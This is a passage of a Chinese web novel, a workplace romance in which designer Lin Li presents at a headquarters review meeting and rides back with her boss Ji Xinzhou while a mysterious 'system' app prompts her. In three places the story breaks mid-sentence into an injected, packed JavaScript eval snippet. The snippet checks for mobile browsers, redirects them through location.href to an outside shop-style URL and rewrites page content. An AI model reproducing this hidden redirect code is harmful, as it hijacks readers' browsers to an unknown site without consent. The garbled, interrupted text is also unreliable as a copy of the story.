林黎先开口,“早,季总。” 语气自然。 “早。”他点头应和。 “您好,请问需要什么?”店员问。 季忻州扫了一眼菜单,明显停顿了一下。 林黎侧头看他一眼。 “你平时喝什么?” 他没立刻回答,视线还落在菜单各种文艺名字上。 “其实不太喝咖啡。” “嗯?”林黎眉毛挑了一下,“那今天怎么突然想试试了?” 季忻州轻轻笑了一下。 “早上办公室都是咖啡香气。”他说,“大家都在喝,闻着还不错。” 林黎眨了下眼。 “原来是被味道骗下来的。” “算是。”他承认得很干脆。 “那就别点美式。”她往菜单上指了指,“很苦。” 语气十分笃定,“第一口就会后悔。” 季忻州顿了一下,没忍住笑了出来。 短促、低低的一下。 “那跟你一样。” 林黎也不推脱,侧头帮忙点单:“冰拿铁,不加糖。” 他跟着点头,“好。” 店员全程在旁边听着,低头操作的时候嘴角一直压着笑。 “加浓缩吗?”她故意问。 “他的不加。”林黎直接开口。 季忻州看她一眼,没有反驳。 “听她的。”低头拿出手机结账。 店员这时突然抬头,对上林黎的眼睛,眉眼弯弯地笑了一下。 那种轻轻的、带点打趣的“哦——”的笑。 林黎愣了一秒,有些不明所以。 慢半拍才反应过来,低头看了一眼手机,像是突然对黑着的屏幕产生兴趣。 手机也在这时跟着震了一下。 “你平时都这个点来?”季忻州忽然问。 她把刚抬起的手机放下。 “差不多。” “难怪。” “难怪什么?” “办公室味道这么重。” 林黎愣了一下,随即笑出来。 “原来是我带坏的?” “有可能。” 林黎低头看了眼自己手里的冰拿铁,冰块在透明杯壁上轻轻滑动,水珠慢慢往下淌。 “那我得收版权费。”她随口接了一句。 “可以。”他说,“算进部门成本。” 她挑眉看季忻州。 “你亲自报销?” “看情况。” 语气一本正经。 柜台另一侧有人喊了取餐号,蒸汽声又起,空气里短暂地热闹了一瞬。林黎笑了一下,把手机按灭,顺手塞回包里。 两个人一起取了咖啡往门口走。 10. 010 周一,总部复盘会议。 总部会议室的光线比她们公司亮得多—— 这是林黎进门后的第一个念头。 不是暖色,是那种干净到近乎偏冷的白。灯带嵌在天花板里,没有吊顶装饰,没有视觉缓冲。光落下来均匀且直接,像一整面铺开的幕布,把桌面的照得平整清晰。 在这样的光线下,纸张的边缘显得锋利,屏幕反光几乎没有死角。 林黎下意识想起自己部门的那间会议室——玻璃墙上贴满草稿和便利贴,角落还挂着没拆完的展板,灯光偏暖,空气里总带着咖啡香味。整个空间充实却不拥挤,想法随时可以讨论,方向随时可以推翻。 而这里没有“随时”,充斥着“确定”。 长桌两侧已经几乎坐满。 流程线的人坐得最规整。文件夹对齐,页码贴签整齐分好,笔横放在资料正中央,像随时准备对齐、勾选、归档。 风控线那边明显松弛一点。没人刻意系领带,袖口半卷,说话时习惯往前倾身,语气天然带着协商感——“这个我们可以怎么协调”“这块对外怎么解释更好理解”。他们像公司内外天然的“缓冲层”。 数据组反倒最随意。有人戴着银色耳钉,电脑外壳贴满贴纸,屏幕开着实时曲线图,头戴式耳机斜挂在包上,一种随时出发音乐节的潮人感。 设计部则坐得最散。 不像一个部门,只是前称挂了“设计”二字。有人翘着腿翻资料,旁边的人低头画草图。林立旁边的同事把椅子往后仰了一点,触控笔在指尖转着,一脸“实在不行再改”的松弛。 远处总部的设计师反倒跟流程线的人聊得火热。 个性混在一起,边界模糊。 气氛却不轻松,话语间都是试探和糊弄。 这次不是抽检,也不是例行沟通。 ——是所有人都要参与进来的正式复盘。 来自总务部的主持人坐在侧位。 她没有读稿,手边只放着一份时间分配表。 “今天的复盘围绕本季度流程优化与判断机制调整展开。” “删减逻辑是切入口,但不是唯一结论。” “流程执行数据与风险回溯机制将作为支撑依据。” 最后,定下整场会议的主要目标与需求—— “在座各部门都需要参与讨论与确认,形成可落地的统一版本。时间控制在九十分钟。” 一开口便知资历不浅。 她说话时不抬音量,也不拖节奏,几句话便把会议框架落到桌面,往中间一推—— 会议开始。 气氛随之收拢。 纪书宁坐在长桌中央。 她今天没穿全套西装,上身一件剪裁利落的深色衬衫。袖口卷到腕骨上方,手腕线条干净,没有佩戴额外的首饰。 她没有低头翻资料,只是看着投影幕布,眼神平静。 季忻州坐在她的右侧。 两人之间既不靠近,也没有刻意拉开距离。像两个定点,会议的重心从他们之间向两侧铺开。 左边是流程与风控,右边是设计与数据。结构对称。 林黎在主持发言时忽然走了一秒神。 她想起自己刚入职那年第一次开大会。 那时候她坐在角落,安静注视着台上的人讲框架、讲战略,意气风发地侃侃而谈。也见过负责人讲到一半卡壳,在台上翻PPT急得手足无措。 当时她只是感叹,原来职场是这样的啊—— 想到这里,她低头轻轻笑了一下。 主持人声音落下。 “开头的逻辑部分,由设计部林黎说明。” 会议室里多数人的目光自然落向季忻州。这个无论总部还是任何分部,都举足轻重的负责人。 空气像被轻轻往中间收窄了一下。 季忻州没有开口,把资料往前推了推,看向林黎。 视线被无声地转向另一侧。 落在林黎身上。 林黎抬眼。脸上没有多余的表情,转头确认了一下投影的清晰度。 “今天先不讲流程。” 不是铺垫,也没有缓冲。 流程线那边已经有人翻到了执行页,手指还压在纸张边角,听到这句,动作顿了一下,那一页没有翻过去。 风控负责人原本半靠着椅背,此刻手肘撑在桌面上,慢慢坐直,指节轻轻扣了下。 主持人低头在笔记本上敲下一行字。 没有人打断。 林黎操作着早就连接好的电脑,径直切到第一页。 投影幕布亮起标题—— “判断机制前置调整说明。” “流程是结果。” 声音落在会议室里,不像观点,更像定义。 像是为了给人适量缓冲,停顿了一秒,她才给出结论。 “判断才是变量。” 数据组副屏上的曲线图还在缓慢滚动,光标闪了一下。 林黎没有急着解释背景,直接把旧版本的结构图调了出来。 四层路径,三次确认节点。 “我们之前的逻辑,是确保‘不出错’。” 激光笔沿着整条链路滑过去,在第三个确认点停住。 红点在幕布上微微晃了一下。 “但我们忽略了一个问题。” 她没有提高音量。 “不是所有人都愿意多确认一次。” 风控负责人闻言眉尾动了一下,像是听见了一个值得讨论的切口。 流程线那边已经开始敲键盘,声音沉闷。 纪书宁这时才开口:“你认为确认是负担?” 语气没有高低。 不是反对,也不是赞同,更像是在校准对方的话。 林黎抬眼。 两个嗯的视线在半空对上,没有躲闪。 “在高频场景下,是。 她点了一下头,“尤其在决策已经倾向明确的情况下。” 她没有继续解释,直接切到数据页。 柱状图被放大。 停顿时间的那一列明显高出预期值,颜色在冷白灯光下显得更刺眼。 “我们给了客户三次确认。” 她的手指在触控板边缘点了一下。 “他们给了我们一次犹豫。” 这句话落下时,会议室里有细微的变化。 有人把笔放下,有人抬头不再低头记录。 空气从“记录”状态,进入“判断”状态。 “删减不是减少步骤。” 林黎的语气依旧,没有上扬,也没有刻意压低。 “是把判断往前移。” 表情也看不出情绪。不像那天在会议室里跟季忻州你来我往,语速加快、眼尾都带点急的样子。 季忻州看着她。 脑海里却极短暂地闪过一个画面—— 几天前,她也这样在桌面另一侧,指着屏幕反问他。 “那你说,要多确认几次才算安全?” 语气明显不服气,眉心微蹙,脸颊甚至因为压着情绪有点泛红。 一瞬的对比很短暂,几乎没有留下什么痕迹。 他的视线重新落回现实,灯光下的林黎神色冷静,对发生的一切都显得游刃有余。 林黎翻开下一页,屏幕上已经排好了两个关键词—— 【必要】 【重复】 “必要信息保留,重复路径合并。” 她没有解释太多。 “体验焦虑下降,比流程完整更重要。” 这句话出来时,风控那边已经有人点头。数据组的男生也调出主数据屏,身体前倾了一点。 流程线的组长抬头问,“如果判断 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17242864|197815||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 错了呢?” 问题终于正面落下来。 林黎没有马上回答,把激光笔放回桌面。 “判断本来就有误差。” 她抬眼,看着对方的眼睛,“流程不是用来消灭误差的。” “只是用来分摊责任。” 会议室一时安静了几秒。 流程线组长没有立刻反驳,他盯着屏幕看了两秒,忽然笑了一下。 有种被戳到之后的无奈。 “你这话说得不太客气。” 他把笔往桌上一放,“但确实是事实。” 旁边的风控负责人低声笑了笑,跟着无奈摇头。 气氛一时间变得有些松快。 林黎没有乘胜追击,点了点头表示赞同。 “删减不是模版,是逻辑。” “逻辑可以共享,具体判断不复制。” 话音一转,“但判断必须有人负责。” 纪书宁缓缓靠回椅背,没有立刻表态,侧目看了一眼季忻州。 不是询问,更像是确认,这个判断你能签吗? 季忻州没有说话,只是很轻地点了一下头。 纪书宁得到回应,手指轻轻在桌面敲了一下。 “那我们往下走。” 她语气平静,“删减之后,风控边界如何前置?” 风向的转变几乎是瞬时发生的。 刚才还停留在“对不对”的判断上,几句话之后,讨论已经落到了“怎么改”。 “如果判断前置,我们需要同步风险提示层级。”风控负责人往前倾了些,手指在桌面上轻轻敲了两下。 “不能只删流程,必须把前置提醒做得更清晰。” 数据组那边已经把模型拖到主屏。曲线重新排列,权重被分层。 年轻的男生语速不自觉加快:“可以把犹豫节点替换成权重提示,不再是确认,而是风险等级标识,对应到低中高。” “那执行上必须明确签字机制。”流程线组长接上,“否则删了流程,责任还是会绕回来。” 讨论像齿轮咬合一样往前滚动,没人再回头去问“删不删”,问题已经变成了“怎么落地”。 目光自然落向季忻州。 他终于开口,一锤定音。 “项目负责人签。” “判断归属明确,流程同步更新。” 空气变得集中。 有人低头修改文档。有人快速标记版本号,主持人把几条结论整合进会议纪要,键盘敲击声此起彼伏。 林黎在原位全程听着,没有再插话。 她听着各部门的补充意见,看着屏幕上逐渐清晰的结构图。开头的锋利像是一颗石子落入水面,激起的涟漪正在向外扩散。 没有人忽视她。 有人在表达时会下意识引用她的原话——“判断前置”“重复路径”。 她变成了结构的一部分。 纪书宁抬头,看着逐渐成型的版本,“方向确定。风控和数据这周内给出修改方案,设计同步确认边界。” 语气不高,却是落定。 她合上笔记本,“散会。” 椅子陆续被推开,空气变得有些躁动。有人站在原地继续低声讨论,有人已经开始对着电脑修改补充修改意见,键盘声零散地响起。 流程线组长还在和风控核对边界提示的措辞,数据组的屏幕上已经出现了[V2.]的文件名。 林黎合上电脑时,指尖在金属外壳上停了一瞬。 有人从身边经过,轻声说了句辛苦,她也点头礼貌回应。 包里的手机忽地震了一下。 等走出会议室,大门在身后轻轻合拢。 走廊的灯光比室内暖一些。 她拿出手机,屏幕亮起。 【系统提示:阶段任务已完成】 【奖励已到账】 11. 011 会议室的门在身后缓缓合上。 那一下动静不大,却把里面的冷白光线压了回去。走廊的灯偏暖,光落在地面上有一层柔和的反射,天花板的线条把光切成几段,落在墙角绿植的叶子上,边缘微微发亮。 林黎站在门外几秒,没有立刻离开。 刚才会议室里的空气紧绷得要命,她的肩膀仍维持着微微绷直的状态。直至意识到一切都暂告一段落,那口气才慢慢吐出来,整个人放松下来。 拐角处摆着一组临时休息用的灰色布艺沙发。她走过去坐下,身体向后贴到肩背时才察觉肩膀隐隐发酸。倒也不是过度疲惫,而是绷太久突然松开后缓缓爬上来的钝痛。 她抬手把头发往后梳,指腹压在后颈,按了两下,试图缓解酸胀的感觉。袖口还卷着没有放下,腕骨在灯光下透着莹白的亮。 低头的时候,掌心的手机依旧亮着屏幕。 走廊另一头有人在交谈,声音压得很低。谈的内容几乎清一色是项目、版本、责任,很少有其他。皮鞋高跟鞋落在地面上,清脆又短促,随后迅速远去,似乎总是在一个又一个节点之间奔波。 空气里混着打印纸和墨粉的味道,带一点干燥的粉尘感。 她的视线落在屏幕上。 【阶段任务已完成】 【奖励已到账】 林黎看了几秒,唇角微微抬了一下。 “还挺准时。” 语气倒没有什么兴奋,倒像是在对一份准点的账单表示认可。 拇指刚落到侧边键,屏幕却没有暗下去。光停在她脸上,下一行字慢慢加载出来—— 【机制等级:LV2】 【结构权重:+1】 【稳定值:92%】 她的视线停住。 走廊尽头有人推开玻璃门,光线晃了一下。林黎眯起眼确认自己没有看错,屏幕上的“LV2”依然安静地躺在那里。 “什么时候有等级了?” 声音很轻,几乎是自言自语。 手机随即界面闪了一下,系统似乎试图回应。 【部分模块尚未完成升级】 【说明文档缺失:3项】 林黎盯着“缺失”两个字来回看了两遍,忽然笑了一下。 “说明书都没写完就敢上线?”她的语气带着无奈,“这要在我们组,早被挂群公告置顶一个月。” 想了想,又补了一句:“组长特批——是人能干出来的?” 走廊依旧安静。 系统没有再回应。 屏幕上的“稳定值:92%”稳稳停在那里,没有波动。 她的目光落在这个数字上。 ——是任务推进进度? ——还是她和任务对象的绑定强度? ——又或者,是她自己的偏移程度? 念头刚落下,屏幕上的“92%”极细微地闪了一下。 几乎微不可察。 与此同时,头顶的灯管也轻轻跳了一瞬,光线极快地晃过墙面。 林黎有些疑惑地抬头,灯也瞬间恢复正常。 又重新低头看向手机,数字依旧停留在92%。 “稳定……”她低声念了一遍,像在咀嚼一个不是很理解的词。 她往后靠了靠,目光从屏幕移到对面的墙面。墙上挂着一张流程图海报,线条清晰、节点明确,每一条路径都被人为修剪过,显得干净而可控。 “所有路径看起来都像是提前设计好的。” 说完,自己又笑了一下。 “问题是,谁设计的?” 页面底部忽然多出一行浅灰色的小字。 【新增奖励权限:路径干预(试运行)】 她的手指停在屏幕边缘,没有点下去。指腹贴着玻璃表面,能感觉到屏幕的温度。 电梯那边“叮”地响了一声。 有人走出来,语气轻松:“听说今天食堂换菜单了。”旁边人回应:“真的假的?那得早点去。” 那段突然闯进的对话像一阵风,把她刚才的思路吹断。 林黎抬眼看过去一瞬,再低头时,屏幕上的那行字依然躺着。 “试运行。” 她轻声重复。 手机再次震动。 【提示:该奖励可暂时保留】 她眉梢微挑。 原来的奖励好歹是钱。 现在呢?奖励变成了权限。 权限意味着干预,意味着她不只是完成任务,而是还有更多未解锁的东西。 她刚想开口再问一句,走廊另一侧传来脚步声。步伐比先前的人都要慢一点,熟悉的声音在她身后响起。 “坐在这里复盘?” 林黎抬头。 果然是混熟了,大魔王都会开玩笑了。 ……不对。 他一直都会开冷玩笑,只不过经常有点阴阳怪气的味道在。 季忻州站在灯下,西装外套搭在手臂上。衬衫袖口卷到小臂,线条清晰,布料贴着肌肉走向,肩背撑得利落。不是那种清瘦型的斯文感,而是明显有规律锻炼的痕迹,肩背挺直。 他的穿着比在分部时更规整一些。但现在散会后领带松开一点,袖口卷起,又透出几分休闲。 林黎不动声色地扫了一眼,心情确实比刚才好了一点。 “出来缓一缓,散散寒气。”她说,“你们总部会议室跟冷库似的。” 季忻州看了她一眼,语气平静:“我都被调走多久了,现在是他们。” 林黎自己今天穿的是简洁的宽松衬衫套个卫衣外套,微阔的裤装,干净利落,和对面那身更正式的西装放在一起,就显得有些随意了。 对方的视线在她还卷着的袖口上停了一瞬,似乎想说什么,又收了回去。 “准备回去了。” “现在走?”她问,“不吃个饭?听说今天食堂换菜单了。” “回去吃。”季忻州语气自然,“分部那边下午要锁版本,我还有个电话会议。” 口里说着“我”,却默认她要一起回去。 林黎低头,把手机收进包里。 屏幕暗下去的前一瞬—— 【路径干预:待确认】 她没有留意到。 “走吧,回去吃饭。”她站起身。 两个人并肩往电梯走去。 — 电梯在负一层停下时,门外已经有一点午间的松动气息。 有人拿着工牌往电梯方向走,语气难得轻快,“今天好像换菜单了。” 旁边人接话,“真的假的,那得早点。” 季忻州先走出去,步子不急不慢。林黎跟在后面,侧头听了几道菜单,脚步自然慢了半拍。 跟上时对方已经抬手按下车钥匙,远处一辆黑色轿车灯光闪了一下。 地下车库的空气带着冷气与橡胶混杂的味道,灯光均匀铺在水泥地面上,轮胎碾过时有细微回声。 林黎拉开副驾驶坐进去,把包抱在腿上。 车门合上时,地下车库的回声被关在外面。车内的空气很安静,只有空调低低的风声。 仪表盘亮起一圈冷色的光,照在中控台上。季忻州把安全带扣好,侧身启动引擎,车子轻微震了一下。 林黎低头看手机。 屏幕亮起。 【路径干预(试运行)】 【当前节点存在可优化路径】 两行字安安静静地躺在界面中央。 她盯了两秒,嘴角动了一下。 “还挺积极。” 季忻州踩下油门,车缓缓往出口滑去。“谁?” “导航。”她把手机往腿上一放,“感觉比你还急。” 他无奈侧头看她一眼,没接话,把方向盘往左打了一点。车灯扫过墙面,光线短暂晃了一下。 车驶出车库时,阳光斜着照进来。午间的城市比早上柔软些,路边的树影在挡风玻璃上掠过去,行人走得不快,斑马线上的脚步松散。 导航播报:“前方两百米,直行。” 手机轻震。 【提示:建议提前变道】 林黎抬眼看了看左侧车道。确实更空,但前面还有一段直路。 “好像可以变道。”她像是在随口聊天。 “现在没必要。”他目光平稳,“距离路口还远。” 她“嗯”了一声,指腹在屏幕上轻轻敲了两下,没有点确认。 车子进入主干道。 “你今天在总部挺能打。”季忻州忽然说。 “打什么?” “流程组回去大概会开个小会。” “那说明他们听进去了。”她看着前方,“判断前置又不是人身攻击,是节约时间。” “节约谁的时间?” “我的。”她毫不犹豫。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17242865|197815||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 季忻州唇角动了一下,说话间方向盘轻微调整,车身平稳地并入车流。 红灯亮起,车停在停止线前。 斑马线上的人慢慢走着,有人低头看手机,有人牵着孩子。 手机再次震动。 【提示:当前路径稳定值92%】 【干预可提升效率3%】 林黎的目光落在“提升效率3%”那几个字上。 “才三?”她低声嘀咕。 “什么三?”季忻州侧头看她。 “油耗。”她面不改色,“你这车应该还能再省一点。” 他看了她一眼,没拆穿。 红灯倒计时跳到“9”。 手机又震。 【检测到变量波动】 【建议:左侧车道】 她顺着提示看过去。左边那辆银色轿车的驾驶员正打着转向灯,犹豫地往这边贴。 林黎没有说话。 绿灯亮起。 季忻州没有变道,顺着原来的车道平稳起步。 下一秒,那辆银车果然急了一点,从侧面插进来。他反应很快,脚下轻踩刹车,车头微微前倾,又恢复平稳。 车内的气氛静了一瞬。 林黎没有被吓到,手指却猛地收紧了一下。 手机亮起。 【路径干预未启用】 【稳定值:91%】 数字轻轻往下跳了一格。 她盯着那“91%”,眼神停住了一秒。 随即开口,语气自然,“你车技不错啊。” “你刚才一直在看什么?”他问。 “在看一个很自信的东西。”她把手机往下扣了扣,“总觉得自己知道最优解。” “它知道吗?” “它以为它知道。” 刚刚的意外像个小插曲,车辆重新进入主干道。 阳光从侧窗照进来,落在两人之间的扶手箱上。 “如果有条路径可以提前优化,”她像在聊天一样随口问,“你会用吗?” “代价呢?” “未知。” 他想也没想:“不用。” “你不是最优解派吗?” “未知代价不在模型里。”他说,“那就不是最优。” 她看了他一眼,忽然觉得这人有点烦。 “那如果代价不是你承担呢?” 季忻州这次转头看她,视线停顿了一秒。 “那更不用。” “为什么?” “因为那不是我选的。” 这句话落下来,车厢里短暂安静,导航继续播报下一个路口。 手机又震了一下。 【干预权限可暂时保留】 【使用次数:1】 林黎低头看那行字,忽然有点想笑。 “你知道吗,”她慢慢说,“有些路径不是为了最优,是为了提前。” “提前什么?” “提前知道结果。” “那是预测。”他语气平静,“不是路径。” 她没接话。 车在前方路口右转。 方向盘转动时,阳光在季忻州小臂上滑过去。卷起的袖口下,线条明显,肌肉随着动作起伏,衬衫布料被撑开一点。 她瞄了一眼,又若无其事移开视线。 手机在掌心发热。 她把屏幕按灭,丢进包里。 包口合上的一瞬间,她心里有一丝极轻的偏差感——像刚才如果提前变道,一切应该会更顺畅。 但现在他们仍然在原来的车道上,也没出什么问题。 林黎看着窗外掠过的树影。 “明天我签字,”她语气随意,“你不担心?” “担心什么?” “万一翻车。” “那是我们翻车。”他看着前方,“不是你一个人。” 包里的手机短暂地亮了一会儿。 【变量交叉增强】 【结构失衡进度:12%】 “行。”她说,“那我也不用。” “什么不用?” “导航。” 他轻轻笑了一声。 “你今天话挺多。” “不是一向如此吗?” 车继续往前开,城市在窗外流动。 而某个看不见的路径,悄悄偏移了一毫米。 12. 012 周一下午三点四十七分。 分部会议室的空调开着,但温度明显比总部那边有人情味一点。上午在总部那间冷得像冷藏库的会议室里坐了两个小时,林黎现在靠在椅背上,肩膀的僵硬才终于缓解。 空调风从侧上方吹下来,只是微凉,不冻人。 “还是自家舒服。”她小声嘀咕了一句,也不知道是说空调还是说氛围。 窗外原本是很干净的蓝。 会议开到一半,光线忽然暗了一截。那团乌云像是从写字楼背后翻上来似的,没有预告,直接压住了天。 “今天不是说晴天吗?”江奇从投影后面探头看了一眼,话刚出口—— 第一滴雨砸在玻璃上。 没有雷声铺垫,雨先落下了。 “啪”一声,很轻,紧接着密密地铺开。 会议室里短暂地静了一下。 “完了,我的车还停在外面。”技术同事第一反应永远很现实。 “你那车淋点雨也算洗车了。”风控头也不抬地回。 笑声很自然地散开。 林黎坐在长桌一侧,电脑屏幕还停在版本页面。 右上角写着:[V2.0(HQ确认)] 上午总部复盘会里,这个版本已经当场定下。 ——当时有人提出风险,场面有点僵,季忻州低头翻了两页文件,然后把笔往桌上一放,说:“按这个走,责任我担。” 一槌定音,当时会议室的空气明显松了一层。 林黎现在想到那一幕,只觉得有点好笑。总部那边紧张得像开庭,分部这边却像茶水间。 “我们就按2.0来,”她说得很随意,“别再加戏了,总部那边都拍板了,我们就别自找麻烦了。” 江奇点点头:“那签字归属今天同步?” “原计划不是内部跑两天?”风控抬头。 “跑两天干嘛?”技术插嘴,“又不是做动物实验。” “你才动物。”风控翻白眼。 几个人笑了一阵,气氛很轻松。 林黎没有参与他们越跑越远的话题,把电脑往自己这边拖近一点,修改了文件名。 [V2.0–LocalExec] “公开就公开吧。”她说,“反正签的是项目负责人,又不是你。” 风控又翻了个白眼:“签你。” “签我也没关系,”她耸肩,“季总可是说了,出了事大家一起翻车。” 会议室里气氛还算轻松,窗外的雨却越下越密。 刚开始只是零星几滴,落在玻璃上发出清脆的一声。没过几秒,雨线成片铺开,水珠沿着落地窗往下淌,整座城市都被笼罩其中。 对面的高架桥被水幕隔开,原本清晰的车流变成一条流动的光带,刹车灯在水痕里被拖长,红色一晃一晃。 技术那边还在讨论周末的球赛,“我跟你说那球根本不该判点球——” “闭嘴吧,你是主观球迷。” 笑声夹着雨声,混在一起。 林黎低头改着最后两行提示语。 她删掉“再次确认”,改成“风险等级”。 光标在句尾闪了一下。 保存。 屏幕弹出提示框——是否覆盖旧版本。 她点确认。 几乎是同时,手机在桌面轻轻震了一下,在闲聊声里并不显眼。 她瞥了一眼。 屏幕亮着。 【路径干预(试运行)】 【当前节点存在可优化路径】 【预计效率提升:4%】 她看着“4%”,忍不住笑了下。 “才四。”她低声嘀咕。 江奇抬头:“四什么?” “今天效率能提四个点,我请你喝奶茶。” “说好了。”他作势要拍桌面。 风控插话:“她请客?那我也要一杯。” “别趁火打劫。”林黎笑着把手机往旁边一推,“现在才哪到哪。” 雨声越来越大。 水珠顺着玻璃成股往下流,窗外原本清晰的写字楼外墙被冲成模糊的灰色块面。楼下的行人忽然加快了步子,雨滴“啪啪”不停拍在伞面上。 林黎原本准备把手机扣回去,第二次震动很快又来了。 界面刷新。 【变量检测】 【是否提前同步签字归属?】 【当前路径:两天后公开】 【可选路径:今日公开】 比刚才清楚得多,没有晦涩的词,也没有抽象的概念。 她盯着那行字的工夫,会议室里话题又拐回邮件。 “那邮件今天发吗?”技术问。 “措辞我已经改好了,”风控说,“就差时间。” 林黎抬头,手还拿着手机。 “你们觉得呢?”她反问。 “我都行。”江奇耸肩,“早点发早点解脱。” “我也是。”技术点头,“反正总部那边已经盖章了。” 总部那边—— 如果公开签字归属,最先被看到的名字不会只有她。 会是她和季忻州。 雨在窗外落得更密了。 水流顺着玻璃往下冲,楼下便利店门口已经积了一层浅水,外卖骑手把车往里挪,鞋底踩进水里溅起一圈小小的涟漪。 会议室里却依旧温暖。空调风轻轻吹着,咖啡的味道还没散。 林黎低头看手机。 她其实不太喜欢拖延。 如果结局都一样,早点结束更省力。 她手指在屏幕边缘停了一瞬,抬头:“那就今天发吧。” “省得两天后大家又得凑一次。” 她拇指点下——今日公开。 屏幕上出现一行小字:【路径调整完成】 没有声音。 没有异常。 会议室里继续讨论。 窗外的雨声绵长,像一层不紧不慢的背景。 — “那我发群里先预告一下?”技术已经把手放在键盘上。 “你先发草稿给我。”风控赶紧打断,“我改完再群发,别又写成‘温馨提示’。” “温馨提示怎么了,很贴心啊。” “你的语文能力,不值得信任。” 笑声又起了一轮。 雨声在窗外连成一片,对面的高架桥已经完全模糊,只剩灯带在灰色水幕里一晃一晃。 技术那边突然“欸”了一声。 “总部群里有人动了。” “谁?”江奇探过头。 “季总。” 林黎下意识抬头。 屏幕上是内部大群的界面,刚刚同步的2.0分部执行版草稿才发上去不到两分钟。 季忻州的名字出现在列表里。 没有@谁。 只有一句话。 【分部按2.0公开签字归属,以此为准。】 会议室里有人吹了声口哨。 “这回复速度有点夸张。”技术小声说。 风控挑眉:“他今天不是还有会吗?” “估计边开边看群。” 江奇看向林黎:“你刚说发,他就跟了。” 林黎没有立刻接话。 她的视线停在那句“以此为准”上。 手机在桌上轻轻震了一下。 林黎把它翻过来。 屏幕亮着。 【路径完成】 【执行效率:+4%】 【协同响应时间:提前2小时】 下面还有一行更小的字。 【变量同步完成】 “那就按这个发。”风控说,“纪总都说‘以此为准’了,我们就直接上。” 技术点击发送。 全员邮件弹出。 签字归属——项目负责人。 抄送——季忻州。 雨还在下。 水沿着玻璃往下冲,像一条条细线把城市切开。 林黎低头,把手机重新扣回桌面。 屏幕黑下去的一瞬间,倒影在玻璃上和外面的雨线重叠在一起。 事情好像比她想象得更快一点。 — 会议散得很快。 事情一旦确定,大家的动作都变得利落。风控抱着电脑往外走,还不忘回头叮嘱一句“措辞别自己乱改”;技术已经一边往群里确认邮件发送状态,一边念叨:“别再回我附件打不开,我已经发第三次了。” 江奇站在窗边看雨,伸手去拨了一下窗帘边缘,嘴里嘀嘀咕咕:“这雨下得真不讲道理,还想出去买点东西呢。” 雨声落在玻璃上,密而均匀,像铺开的一层薄纱。 林黎把电脑合上,电源线绕了两圈塞进包里。会议室里的咖啡味还没散,空调风凉爽,没有总部那种冷得让人下意识缩肩的冻人感。 比起会议室,走廊里安静一些,脚步声被地毯吞掉。 她走回自己的工位,刚坐下,手机震了一下。 等点开,对话框里只有一句话。 季忻州:【发得挺快】 语气看不出情绪。 她盯着那句话,手指在屏幕上停了一瞬,才慢慢打字。 【不是你上午说别拖的吗。】 那边几乎没有停顿。 【我让你们别拖,没让你今天就公开。】 林黎挑了下眉,手指啪嗒啪嗒在屏幕上打字。 【那我撤回?】 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17242866|197815||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 聊天框上方显示“对方正在输入”。 停了一瞬。 又继续。 【不用。】 下一行紧跟着跳出来。 【既然发了,就按这个走。】 她往椅背上一靠,椅子在地面上滑出一点轻微的声响。 低头回:【我只是懒得两天后再开一次会。】 那边沉默了两秒。 【你懒得开会,我得多写两页说明。】 她没忍住笑出声。 旁边江奇抬头:“什么事这么开心?” “有人抱怨加班。”她把手机屏幕往下扣,若无其事想要岔开话题。 江奇“啧”了一声:“季总?” 她没承认也没否认,只是笑了一下。 江奇凑近一点,压低声音:“你现在是提前走流程还是提前走人情?” “走省事路线。”林黎推开他,“别乱猜。” 江奇举手投降:“行行行,我闭麦。” 手机又震了一下。 她翻回来。 【下次提前说一声。】 没有责备的意思,更像一种提醒。 她回了个简短的:【好。】 对话停在这里。 窗外的雨慢慢小下来。 水痕还挂在玻璃上,远处高架桥的轮廓一点点重新显出来,云层被风撕开一道缝,天色透出一点亮。楼下便利店门口的积水反着光,外卖骑手重新上车,轮胎碾过水面发出细碎的声音。 林黎把手机放在桌上。 屏幕亮着,还没完全暗下去。 就在这几秒的余光里,一行很轻的小字浮出来。 【响应时间提前:2小时17分】 【目标协同效率:提升】 停了一秒。 下面又补了一行—— 【自主变量增强】 她盯着那四个字。 自主变量。 刚才那句“既然发了,就按这个走”在脑子里轻轻回放了一遍。 不是被动配合,也不是顺着流程走。 是他主动跟上的。 手机屏幕暗下去,她没有再去点开。 窗外的雨已经停了,天空被洗过一样,蓝重新浮出来,空气像轻了一点。 工位上有人在讨论晚饭吃什么,有人抱怨外卖迟到,一切都很正常。 只是林黎心里始终有点不对劲的感觉。 事情推进得太顺。 顺到—— 像有什么提前替她把下一步踩实了。 — 周二一早天气晴朗。 窗外天色干净明亮,楼下的树叶在阳光里显得格外鲜绿,风一吹,光影在地面上轻轻晃动。 分部的气氛和往常没什么两样。 